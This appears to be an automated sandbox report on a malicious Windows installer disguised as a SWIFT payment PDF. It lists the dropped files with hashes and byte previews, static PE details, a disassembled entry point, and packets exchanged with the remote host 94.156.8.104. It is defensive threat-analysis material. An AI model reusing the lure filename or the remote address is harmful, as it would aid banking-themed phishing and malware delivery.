Preview:	.......w......L.(((.>....;..ii...==.%.....77777..........................E......NNN..444.t..................FFF.....6.......~.....p.......ff.''...... ...u........Z....ddd.......vv.......ssssss.EEE.....,...........UU.oooo.............:.........\|.........H.........................00.y.........x.&.....................+..............ppp..........0.@@...............<....A...............pp.11.**.L.JJ.........H.............X......II..Z...........ss.n.....\\.................====................<<.........::.......S.....@.....::::......................:...:............................................S...........................??..........&.;..............;;;...........'''''.........E.f...f!...W..........t.!....4.q........7f...............f...!..."(?f.......Z.....X......k..f...........j>1.!......:.....'.....f........f=.l.....+.0..........\|...f........}.@...!. ....1.<.f....................f...........\|........f.....0.r.....bh..f...C.....-;.&f......\|.G...f.....,......6.B....

C:\Users\user\udskriftskartotek\chiromancy\refalling\avram\Peatery50\Busboy\perivesical.cer

Download File

Process:	C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe
File Type:	Matlab v4 mat-file (little endian) , numeric, rows 0, columns 0
Category:	dropped
Size (bytes):	284271
Entropy (8bit):	1.0251357322266477
Encrypted:	false
SSDEEP:	768:3ikksaRhO0tDtDHT4agsOypRJ5UVofBnhIOPNs28Bu7LYDRa5dv8Kn8GBrhGmVxr:FiRk48kL78Ka
MD5:	FCF65B7D81E9B8F78EC8C24CA3092A8A
SHA1:	700291ADFE86A3022D39E46E71D9E44E158C6F6D
SHA-256:	A91235C263F3C28790B391F6EAD3ED10F674FBF7FC5E10A3640F9937902273E8
SHA-512:	C1F136D6C9CAD6A9195DA2690A8FCF2640A364DC6D636B2B8218C7022A59D2E99305ECDD201B614A92CE7EC4A955FC7C3389B7862BD25CACC531DFDE3B2DAEF3
Malicious:	false
Preview:	...........................1...............................................&......................................~...................i.........................v.....................................................................................................................................D........y................m......................................................]..........F..J..........................................:.....#.......p. .........k................................................{..............Q..........=.....................................................................@............s....l..........u........................................................................[..........................................................................................................................\..............<........................................i...........................g.....................................................I................R.X.0............

C:\Users\user\udskriftskartotek\chiromancy\refalling\avram\Peatery50\Busboy\vanskabningers.txt

Download File

Process:	C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	494
Entropy (8bit):	4.230726516650528
Encrypted:	false
SSDEEP:	12:pKG5STxNjA4TkEIQT5i6Dk3Qm0oyyGq2qAOaUwbeKWjNB/JJsn:pP5STx5jTkqT5iMJiRaUWedBBBJsn
MD5:	19B947E1171EC056B5989798225E3080
SHA1:	C8703F1F4AE3A1A81924FAF13F7305CBA4AEF6CA
SHA-256:	D7F13F88A63E6A8EDB1DD1A5C194004A3FC24C870D2AC6013FAF13AFC6E77577
SHA-512:	E0E4878AF414BD2845ED7A63AEA844DAD77BDAD375D2BD6A2A69DE9A8730571059BCA5C7F937C2BD5205D13D92CFE8B22684214EB0BA673C9446F10DEBF24D25
Malicious:	false
Preview:	dentical baldrende kekchi colectomies cupressus roofers..overregulates reaccumulation travestiernes ecdyson mezentius garnngle spasticitets brnehavelrerindernes liplike electrodiplomatic..heteropelmous traadls statsoverhoveder eftersprgselspressenes.skrsliberne aspired twaddles mangle gentoo porphyrogenitus quislingers.underteamed bonitet prostigmin kontorsystemers fresser shutterbugs forlngerledningen velokalernes moguey..nonsympathetically lutetian friarealer sciatically hosea stymperes,

C:\Users\user\udskriftskartotek\chiromancy\refalling\kryddernes\Kontorarbejderne\Helbredskontrollen.Ana

Download File

Process:	C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	11919
Entropy (8bit):	4.662231882647804
Encrypted:	false
SSDEEP:	192:Lk13ArLrSFODVN/Rw8+twz9KC++zakPjz4dev5tMTo:L8wTXV+twxKC1P3sAtCo
MD5:	C904D46896C283F2B7BA50B5553450F2
SHA1:	92E34620A0C1449364A53043E849271F209F901A
SHA-256:	A2A01736F72E3601A76D3CB12BA8E0EE20F9A346AF3FC7184098AFF7B5B36533
SHA-512:	D51DEBA89B8035C819DEDC7DEDF720551F4CAD2CEF06F9C4CE31857B4EFF1EFDC53644CD38593A8AE18AA41E0090D3931AC95DF89263D2B10D0D1BB76A03AA66
Malicious:	false
Preview:	..&&.j...............y........................"...............................................................................................................................................................................................................................................................................HH...................t..p.''...``....,.".]...r...........0.l....................................oooo....V......._.......................UU...MM...........................TT...............p.n..........rr..............`.........................................1....................d.....s.........e.....9...............................QQQ.Q....))..................d.^......d..............i...............666666.nn.............G.........~~~~.........XX...666..............@@@......................AAA.....XXX.........................H....@@.......................l.......d.D.....e........KKK.......J...>.BB....@..nnnnnnnnnnnn.......00.....

C:\Users\user\udskriftskartotek\chiromancy\refalling\kryddernes\Kontorarbejderne\dhourra.dei

Download File

Process:	C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	281794
Entropy (8bit):	1.031572732289543
Encrypted:	false
SSDEEP:	768:oslLjhedzTOljJJZU1Buju3jmpZOzcqM4uYLjqTSL6C7obTtV3tkQuHtJ2vj+CXu:oOJJZDj7341Vonj5aCZ
MD5:	E828786A178F23B7F56B9990A65CEEA5
SHA1:	0FFE78218DF805DA550BE16EE19E9946F39363B5
SHA-256:	9BAAB1CDE953046954210F305136997005939F5EB8529DD51B2459034D0FBDFD
SHA-512:	C4E5CBC49D03AA2C5E5EB2A2C9AD21CD9A375A98E686B5C3729C0B2B00A7CE5D7705E56F221F9B49538A433CCDA12F1DD65CE97C0D4DB9B1F9F8C8AC18A49CCC
Malicious:	false
Preview:	........................................z.....1...............................................................................I..................................................................................f..................................................................................[...b..................................................................................................I.....H...R.K........M........................2....D......................................................./....................B...................................../...h..................................................u........?...........................S...............4..........M........._........................R..............................n......................................................................................................................Z........................................................................................................h............................

C:\Users\user\udskriftskartotek\chiromancy\refalling\kryddernes\Kontorarbejderne\fiskeriinteressernes.bnk

Download File

Process:	C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	188525
Entropy (8bit):	1.0329334808429573
Encrypted:	false
SSDEEP:	768:5WINhheDhXPeDwAT/fXFKxz/nHTslCNCS6HKLs+SfWpHk6:LnFMplE6
MD5:	04A03D1660020BED3AB9984BFAA2EF04
SHA1:	21CB45D775B5DC16CABA3B80C3B458B3DBBCFB34
SHA-256:	A0D4F715188B1044C5F9876491F8CECE5728D166DA60B9514DD244ECF42F29F6
SHA-512:	352260C7501E0751FB93845B7BDDECA1BCC29DCFB745CCAA0A106556C2CA5787B0C64BCCAFDCC3FF2FF1AE0E428E03F8F6660AEFBF03EBF99A5C0D7769C3BEB9
Malicious:	false
Preview:	.................................................O.................................................+........................................G..................b.................z.......y........................................................................................................P.........!...........................................................C..................................$.................................................................k.................x........1........................................................D.......................p................................................+................................f.....................C.....-............................~......................................................Z........b....................................................................................2............................................................................(.........G...........................................#...........

C:\Users\user\udskriftskartotek\chiromancy\refalling\kryddernes\Kontorarbejderne\motleyest.hea

Download File

Process:	C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	78505
Entropy (8bit):	1.024537818999984
Encrypted:	false
SSDEEP:	384:OAC2dKLt1Lsw1d6OnQhcT+7ItGC3VVnxwZHr4WpJuHqLrJzE:5IYw1d6OnfT+8zWpJuIJz
MD5:	F18075570354F7C71286D7E633605CE6
SHA1:	1CE1B223EAE5AE1BF61B72A4032953271A07C3CC
SHA-256:	50B67542F8655D7110CD14285A6E8BFD3F238B3AF26985D7F57C48F78A0BB646
SHA-512:	FE91EA361444335D3B67691CBA1776A94D5BDBA16359D507F1B6042A02F6F4C4A2B9FF8E45609759EAA51F94F17D47E28DA7995BB123E9B742900DACE917F018
Malicious:	false
Preview:	.......................x.................. .......................................Q.......~.......................:..........................................................+.............W......l....................?[...........................W...........V.o..*...............)..........N.......................................A..........................................................!........^....................-...+..............................`........................h......................................f...........\....a.....................................C.............y................................................................................S.......................................................................................................y.........................................c............B...............................G..................................<...............K=..........................................................................................

C:\Windows\Resources\0409\gashanens.ini

Download File

Process:	C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	4.01506101220307
Encrypted:	false
SSDEEP:	3:+f4tfEOGOWbP:U4tf9GOWbP
MD5:	9A87E14E4F6590E4B39073FCF55944A4
SHA1:	4AF8D2E9EE06321E83497982ED8E55AF244A8B07
SHA-256:	D6E32A651EBDD996FB69025D557FECFCD8547729091BF76327B0A118A6D333FC
SHA-512:	128B8180EFD08F7A86635694A4B7CE634A24636E851D4A293F9B677AA4BC9A5F6D0EDD61896F4D7FB74F55E99B929822A6FF5AF0FE6428BE9EE4D14AFEB37B34
Malicious:	false
Preview:	[menthane]..raffaele=voksvrk..

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	2359296
Entropy (8bit):	4.362643507184067
Encrypted:	false
SSDEEP:	49152:AnvorTo81uJOaX1OADJEEagmcnYJ1u8vs:r
MD5:	DA4FBC3BC298FB60CB7219E669C0194B
SHA1:	A0B8BF1442AB017D1FC0B808A74A964F3BB4040F
SHA-256:	F21F704D2E9D54087CF203BA89822A5F10EEE982DC75A44B80A7ACDACF6FF9B8
SHA-512:	810D4454C4A8EA95D4613190C2803508F20CB9AE3E485470DC22DCD46C07E2B726AAEBF8EC8B38E421D17BEA4357457F82F0991ABA226646E39FCDF8A575460D
Malicious:	false
Preview:	regfF...F...5.#.^................... .....!.....\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e......Q......P..#....Q......P..#........Q......P..#.rmtm.(.................................................................................................................................................................................................................................................................................................................................................C*.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	3.240162043914715
Encrypted:	false
SSDEEP:	768:8mQyPan9aUCUWaOy/OTIi86uXYCImggUJqR5/eF34JoeyG2SKiDEU/wIZLs5agYs:3ERuLLuX0mRNRD/7G4gYfe+M
MD5:	3B3172247B5079ED7E1023D92D6EBAD7
SHA1:	79DA5B5B1936E6F82BD10C4572C68A681D32A82D
SHA-256:	BF09C6B1BBF6B8B4649CDC11451F844E613296E5C8AAD0BD1981BD52EBD0D000
SHA-512:	F0BC981CA0AA52A6FA27A6EC1284099AEEAE7DCE823EA5C59E53383E12329414946870B31D7AC297F24640B161DEEDD14D4406CEF694D1B8123BCC4F113DBF3E
Malicious:	false
Preview:	regfE...E...5.#.^................... .....!.....\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e......Q......P..#....Q......P..#........Q......P..#.rmtm.(.................................................................................................................................................................................................................................................................................................................................................C.HvLE........E.....!.....3....b.^p.so-..}.........P...............................`.......................................................P!.......!.....hbin................5.#.^...........nk,....S...............................................................&...{11517B7C-E79D-4e20-961B-75A811715ADD}......nk ..$8^........(...........@..................................N.......)...InventoryMiscellaneousMemorySlotArrayInfo....................mG.....nk .$4./T....... ...................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.682325489967793
TrID:	Win32 Executable (generic) a (10002005/4) 92.16% NSIS - Nullsoft Scriptable Install System (846627/2) 7.80% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SWIFTCOPYMT1030000000_pdf.exe
File size:	421'592 bytes
MD5:	1048340bcfae30df032c161ac52f8f0e
SHA1:	8a3370d01a170626ef43202f5fe54e27372abec4
SHA256:	47a75ba2cc69f372c816fb61d079ebe6e3a81eeeb16e72726725b088a59f4e94
SHA512:	446b5293fe99200305cde7b4eaf17613b6c211ac46ce5ef38d383546c727de348f6f4733051674ce309a1ed401941985120b0f80f449239d3375f91a2de2704c
SSDEEP:	6144:TzZzycMVGAnF3KMrbYTE6ZudWKJJGGCaSninelmgkpmcqaw/cXraHvfMV:5V9QF3ihgxtdel+jw/ar4vm
TLSH:	9A94CF56E349ACA4ED1B07B5663BED724E13BEB8D460544D25DE3E2F3A73382402AD43
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<`..x...x...x.......z...x...........i...,"..t.......y...Richx...........................PE..L....e.Q.................\....9....

File Icon


Icon Hash:	d080c6ee8e92ca1d

Static PE Info

General

Entrypoint:	0x4030ef
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x519965C7 [Sun May 19 23:52:39 2013 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b40f29cd171eb54c01b1dd2683c9c26b

Authenticode Signature

Signature Valid:	false
Signature Issuer:	E=Semicomplicated@Vrdipapirets.Ib, O=Barnestemmen, OU="Trommer Taljerings Beseglet ", CN=Barnestemmen, L=Malpas, S=England, C=GB
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	19/03/2024 04:25:51 19/03/2027 04:25:51
Subject Chain	E=Semicomplicated@Vrdipapirets.Ib, O=Barnestemmen, OU="Trommer Taljerings Beseglet ", CN=Barnestemmen, L=Malpas, S=England, C=GB
Version:	3
Thumbprint MD5:	72A0C51184EA239E3D8B07F2533C830A
Thumbprint SHA-1:	B5D55F0EBABB32F51FFE7CFAE772684E37784D2B
Thumbprint SHA-256:	F733F533CB918821C2FB04E9426DEECB50A81E7F2FDB4DE85740159CAFCC5D15
Serial:	299C36F294A51C29CB99380D7E7AF51734A58CC7

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov dword ptr [esp+1Ch], ebx
mov dword ptr [esp+10h], 00409190h
mov dword ptr [esp+18h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [00407034h]
push 00008001h
call dword ptr [004070B0h]
push ebx
call dword ptr [0040728Ch]
push 00000008h
mov dword ptr [007A27B8h], eax
call 00007F276C530BE3h
mov dword ptr [007A2704h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0079DCB8h
call dword ptr [00407164h]
push 00409180h
push 007A1F00h
call 00007F276C53088Dh
call dword ptr [0040711Ch]
mov ebp, 007A8000h
push eax
push ebp
call 00007F276C53087Bh
push ebx
call dword ptr [00407114h]
cmp byte ptr [007A8000h], 00000022h
mov dword ptr [007A2700h], eax
mov eax, ebp
jne 00007F276C52DE7Ch
mov byte ptr [esp+14h], 00000022h
mov eax, 007A8001h
push dword ptr [esp+14h]
push eax
call 00007F276C530328h
push eax
call dword ptr [00407220h]
mov dword ptr [esp+20h], eax
jmp 00007F276C52DF30h
cmp cl, 00000020h
jne 00007F276C52DE78h
inc eax
cmp byte ptr [eax], 00000020h
je 00007F276C52DE6Ch

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x73a4	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3bf000	0x111c8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x66490	0xa48	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5bc2	0x5c00	d75213ff3654bd251ba7ede13ba551f3	False	0.6815132472826086	data	6.5073852787100455	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x11ce	0x1200	6c31e0693072284f258d2c4a271de506	False	0.4524739583333333	OpenPGP Secret Key	5.236327486414569	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x3997f8	0x400	cc4b8c7cfe81dc194cfb0c595288fc86	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x3a3000	0x1c000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3bf000	0x111c8	0x11200	bbb015d8423c571296eed99a1464fd36	False	0.12783702098540145	data	4.40852816567891	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x3bf208	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 2834 x 2834 px/m	English	United States	0.11396841358097717
RT_DIALOG	0x3cfa30	0x120	data	English	United States	0.5138888888888888
RT_DIALOG	0x3cfb50	0x11c	data	English	United States	0.6091549295774648
RT_DIALOG	0x3cfc70	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x3cfd38	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x3cfd98	0x14	data	English	United States	1.15
RT_VERSION	0x3cfdb0	0x148	x86 executable not stripped	English	United States	0.600609756097561
RT_MANIFEST	0x3cfef8	0x2cb	XML 1.0 document, ASCII text, with very long lines (715), with no line terminators	English	United States	0.5664335664335665

Imports

DLL	Import
KERNEL32.dll	Sleep, GetShortPathNameA, GetFullPathNameA, MoveFileA, SetCurrentDirectoryA, GetFileAttributesA, GetLastError, CreateDirectoryA, CompareFileTime, SearchPathA, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, ExitProcess, SetEnvironmentVariableA, GetWindowsDirectoryA, SetFileAttributesA, lstrcmpiA, SetErrorMode, LoadLibraryA, lstrlenA, lstrcpynA, GetDiskFreeSpaceA, GlobalUnlock, GlobalLock, CreateThread, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, lstrcpyA, lstrcatA, GetSystemDirectoryA, GetVersion, GetProcAddress, WaitForSingleObject, SetFileTime, CloseHandle, GlobalFree, lstrcmpA, ExpandEnvironmentStringsA, GetExitCodeProcess, GlobalAlloc, GetModuleHandleA, LoadLibraryExA, GetCommandLineA, GetTempPathA, FreeLibrary, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, ReadFile, FindClose, GetPrivateProfileStringA, WritePrivateProfileStringA, MulDiv, WriteFile, MultiByteToWideChar
USER32.dll	CreateWindowExA, EndDialog, ScreenToClient, GetWindowRect, EnableMenuItem, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, GetDC, SystemParametersInfoA, RegisterClassA, TrackPopupMenu, AppendMenuA, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, DestroyWindow, CreateDialogParamA, SetTimer, GetDlgItem, wsprintfA, SetForegroundWindow, ShowWindow, IsWindow, LoadImageA, SetWindowLongA, SetClipboardData, EmptyClipboard, OpenClipboard, EndPaint, PostQuitMessage, FindWindowExA, SendMessageTimeoutA, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegCloseKey, RegOpenKeyExA, RegDeleteKeyA, RegDeleteValueA, RegEnumValueA, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeA, GetFileVersionInfoA, VerQueryValueA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 13:39:20.856138945 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.111232996 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.111480951 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.111854076 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.363962889 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.364439964 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.364517927 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.364628077 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.364676952 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.364845991 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.364903927 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.364911079 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.364911079 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.364959955 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.365021944 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.365078926 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.365081072 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.365134001 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.365248919 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.365293026 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.365418911 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.365418911 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.365418911 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.365535975 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.615818977 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.615900040 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.615958929 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.616014957 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.616070032 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.616127014 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.616157055 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.616158009 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.616215944 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.616280079 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.616337061 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.616379023 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.616379023 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.616379023 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.616390944 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.616447926 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.616503954 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.616547108 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.616559029 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.616616011 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.616671085 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.616719961 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.616725922 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.616719961 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.616719961 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.616719961 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.616719961 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.616781950 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.616837025 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.616894007 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.616899014 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.616899967 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.616899967 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.616949081 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.617019892 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.617019892 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.617178917 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.617180109 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.869699955 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.869776964 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.869837999 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.869894028 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.869949102 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.869967937 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.870003939 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.870060921 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.870120049 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.870166063 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.870167017 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.870177031 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.870234013 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.870287895 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.870335102 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.870336056 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.870342970 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.870398998 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.870452881 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.870501041 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.870501041 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:21.870508909 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.870564938 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:21.870620012 CEST	80	50341	94.156.8.104	192.168.11.20
